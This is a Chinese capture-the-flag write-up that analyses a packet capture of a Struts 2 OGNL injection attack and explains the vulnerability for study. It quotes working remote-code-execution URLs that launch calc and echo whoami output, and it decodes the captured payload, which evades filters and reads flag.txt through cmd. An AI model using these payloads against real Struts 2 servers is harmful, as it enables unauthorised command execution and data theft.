0x00 已知条件及分析
题目给出了一个压缩包(同样需要去掉冗余后缀),里面是一个winpcapng格式的流量包,用Wireshark查看。
发现大部分是混乱的数据。
根据题目名称“Struts 2漏洞”,查找相关资料了解到它的漏洞主要通过向服务器发送构造的数据作为OGNL表达式,绕过MVC框架的保护机制,达到远程代码执行或开放重定向的目的。
Struts 2 简介:Struts 2 是一个基于MVC设计模式的Web应用框架,采用Interceptor(拦截器)机制,以Webwork为基础。而Webwork建立于Xwork之上。
MVC框架现学现卖(可能有错误):MVC是一种框架模式,意为“Model”(模型,程序核心,如数据库)-“View”(视图,将数据呈现给用户,如JSP、HTML)-“Controller”(控制器,从视图获取数据,并发送给模型进行处理,如Struts 2)。
MVC将后台数据库独立存放,通过url请求无法直接访问这些数据,必须先经过Interceptor的参数检查,再经View交给后台java源码进行处理(称为一个action,可能有页面数据的动态生成)后才可能return到相应的JSP,将对应的html返回给请求方(在Spring中如此)。这种保护机制是与PHP不同的。Xwork简介:Xwork是Struts 2的底层,提供了一系列基础构件,其中包括:一个IoC的容器、强大的表达式语言(OGNL)支持、数据类型转化、数据校验框架、可插拔的功能模块(插件模式)及其配置,并且在这一系列的基础构件之上,实现了一套基于Command设计模式的“事件请求执行框架”。
当Struts 2收到一个Http请求时,Struts2只需要接收请求参数(要经过Interceptor的检查),交给Xwork完成执行序列,当Xwork执行完毕后,将结果交还Struts 2返回相应的视图OGNL简介:OGNL是一种表达式语言,通过它可以简单地对JAVA对象中的属性进行访问。Struts 2 在处理'action'时将http参数声明为OGNL语句,转化为OGNL后执行。Xwork的Parameter interceptor(参数过滤器)不允许参数中出现'#'。
Struts 2 漏洞简略介绍:http://blog.csdn.net/zhangzeyuaaa/article/details/53676073
Struts 2 漏洞分析:http://www.rising.com.cn/newsletter/news/2013-09-22/14464.html,以下作远程代码执行测试部分的摘要,Webshell文件写入(同样利用远程代码执行)和重定向漏洞部分详见上面的链接。
- 通过导航前缀及重定向前缀的构造,可以将构造的数据作为OGNL表达式执行,而这种问题其实和以前公布的Struts远程代码执行漏洞的性质是一样的。结合以往的漏洞利用方式,我们的目的也就比较明确,就是可以在目标服务器环境中执行命令并将命令执行的结果反馈给我们。
根据提供的PoC代码构造一个简单的命令执行的URL,具体内容为:http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?> action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc'})).start()}
这个URL的作用是在服务端执行命令calc,也就是执行一个计算器。从服务端的任务管理器中我们可以看到执行的结果,并且执行的用户名是SYSTEM。
- 但是这种简单的命令执行方式从客户端的浏览器环境中是看不到的,所以结合以往漏洞利用方式,我们通过构造URL将命令执行结果读入数据流中,然后再通过输出的方式在客户端进行展示,就实现了执行命令回显功能。我们再次构造提交的URL地址如下:
http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
其中whoami是我们想要执行的命令,如果执行命令的字符串中包含有空格,则需要将字符串按照空格分为多个字符串,并用逗号隔开即可。然后我们再次提交这个URL地址,就可以看到远程命令执行时返回的命令执行结果信息
0x01 题目探究
单单就解题而言甚至跟漏洞没有太大的关系,在数据包中寻找FLAG使用追踪流或strings等方法即可。这里使用notepad搜索字符串(不匹配大小写),结果如下图。
这样显然索然无味,完全不知道漏洞是怎样利用的,进行了什么样的操作得到flag。所以这里进行进一步的探究。
关键数据帧
为了方便查看,在Wireshark中找到包含这个FLAG的数据帧,如下图。
可以看到红色部分是POST(猜测是向目标服务器)请求,其数据部分从'redirect:'开始,具体为:
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
是不是感觉在上面见过?把它和该帧头部的url拼在一起看看:
http://192.168.0.5:8080/struts2-blank/example/HelloWorld.action?redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
形式与上文 摘要2 中的测试代码极为相似,基本可以确定是向目标服务器发送的url编码请求。
下面的代码是 摘要2 的,这里便于对比:
[摘要2 代码]
http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
为了确定该请求具体进行了什么操作,对'redirect'及其后部分的构造代码进行url解码。
[Python]
import urllib
print urllib.unquote('redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}')
结果如下:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('cmd /c type c:flag.txt'.toString().split('\s'))).start().getInputStream()).useDelimiter('\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}
可以看到的确使用了url编码的'#'(%23)绕过xork2保护机制的检查。
构造的代码分析
观察解码后的代码,不难发现形式与 摘要2 中“为了能从浏览器中直接查看到命令执行结果”而构造的代码类似。下面逐行进行分析:(原执行环境未知,只能加以推测)
- 代码首尾是 #req 和 #resp ,都get了Struts 2的一个包 com.opensymphony.xwork2 ,分别获取了它的
dispatcher.HttpServletReq 和 dispatcher.HttpServletResponse 。 - servlet的主要功能在于交互式地浏览和修改数据,生成动态Web内容。
并不懂Struts 2,推测这里是通过 #req 和 #resp 两个变量来作为这段代码的输入和输出(根据后两行推断),输出如同 摘要2。 - 同 摘要1 所述,不同行的空格用逗号隔开。
- 下两行,首先声明变量 #s ,用cmd执行命令将flag.txt中的内容读入输入流并赋予 #s:
#s=new java.util.Scanner((new java.lang.ProcessBuilder('cmd /c type c:flag.txt'.toString().split('\s'))).start().getInputStream()).useDelimiter('\AAAA')
然后将 #s 中的内容赋予 #str:
#str=#s.hasNext()?#s.next():''
- 最后使用与 摘要2 相同的方法,将 str 读入数据流中,然后再通过输出(println)的方式在客户端进行展示,实现了执行命令回显功能。只不过在这之前增加了一行,设定编码格式为 utf-8.
#resp.setCharacterEncoding('UTF-8')
#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()
- 总结一下,这段构造代码执行的操作是:从服务器目录中的'flag.txt'文件中读取了内容——本题的FLAG,然后将这内容输出到请求端的浏览器(回显),从而数据包中能够找到FLAG。
0x02 仍存疑的方面
- 本题在解题上没有特别的难度,主要问题集中在对Struts 2远程代码执行漏洞的探究上,留作日后参考。
- 由于没有补过JAVA,也对Struts 2不熟,匆匆查阅资料,许多疑点都夹带自己的推测,准确性难以保证。
- 本题数据包中代码开头的 #req 请求变量没有被使用到,目的未知。
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest')